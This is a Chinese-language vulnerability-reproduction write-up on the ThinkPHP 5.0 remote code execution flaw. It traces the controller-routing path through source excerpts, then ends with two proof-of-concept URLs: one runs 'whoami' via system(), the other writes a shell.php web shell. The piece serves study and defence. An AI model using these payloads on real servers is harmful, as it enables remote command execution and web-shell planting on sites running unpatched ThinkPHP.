thinkphp5.0远程代码执行漏洞利用分析

环境

版本:thinkphp5.0.20(实际环境<5.0.23即可)
配置:apache2,php5-

简介

2018年thinkphp官方更新了补丁,说明“由于框架对控制器名没有进行足够的检测,会导致在没有开启强制路由的情况下可能getshell的漏洞”。

漏洞分析

简介上说明了是路由调度时可能触发漏洞,所以就定位到pathinfo()函数。pathinfo()函数是thinkphp的一个特点,就是用pathinfo模式去访问一个不存在的路径,会有一个环境变量去把输入的url输出到正确的位置。
跟进路径,防止迷路

App.php run()-->App.php routecheck()-->Request.php pathinfo()-->Route.php parseUrlPath()-->App.php exec()-->App.php module()-->Loader.php controller()-->App.php module()-->App.php invokeMethod()

在index.php加载thinkphp框架引导文件后,会执行think\App::run()方法,“\”表示将App作为类名来调用,run()中引入了routecheck()函数

// 未设置调度信息则进行 URL 路由检测
if (empty($dispatch)) {
    $dispatch = self::routeCheck($request, $config);
}

所以跟进routecheck()函数,发现routecheck()中有path()

$path   = $request->path();
$depr   = $config['pathinfo_depr'];
$result = false;

继续跟进pathinfo()函数,会获取pathinfo的信息

$_SERVER['PATH_INFO'] = $_GET[Config::get('var_pathinfo')];

由于配置文件中“var_pathinfo”的默认值是“s”,所以该pathinfo()函数会获取get请求中“s”对应的值,对应的位置是

index/think\app/invokefunction

之后,parseurl()方法调用parseUrlPath(),只是通过“/”做分割,并未做过滤

// 分隔符替换 确保路由定义使用统一的分隔符
$url = str_replace('|', '/', $url);
$url = trim($url, '/');
$var = [];

#trim()去除字符串首尾处的空白字符

获取到当前的调度信息之后,会执行分发函数exec()

$data = self::exec($dispatch, $config);

传入exec的调度信息参数$dispatch为

$dispatch = {array}[2]
type = "module"
moudle = {array}[3]
0 = "index"
1 = "think\app"
2 = "invokefunction"

跟进module方法,执行模块

case 'module': // 模块/控制器/操作
    $data = self::module(
    	$dispatch['module'],
        $config,
        isset($dispatch['convert']) ? $dispatch['convert'] : null
                );

该模块获取控制器名为“think\app”,且该处并未做任何过滤.
跟进controller方法,该方法的主要作用是实例化控制器,调用getModuleAndClass解析出 m o d u l e 和 module和 moduleclass的值分别为“index”和“think\app”,再调用invokeClass($class)对class进行实例化

list($module, $class) = self::getModuleAndClass($name, $layer, $appendSuffix);

if (class_exists($class)) {
    return App::invokeClass($class);
}

回到module()方法,获得实例化放射类“think\App”后,执行反射类的方法

return self::invokeMethod($call, $vars);

跟进invokeMethod,可以看到该方法将运行call_user_func_array函数
thinkphp5.0远程代码执行漏洞利用分析_第1张图片

poc

命令执行

http://192.168.77.128/tp5/public/index.php?s=index/think\App/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

文件写入

http://192.168.77.128/tp5/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][1]=

shell.php的路径是

/var/www/example.com/public_html/tp5/public/shell.php

你可能感兴趣的:(漏洞复现,漏洞复现,thinkphp,命令执行)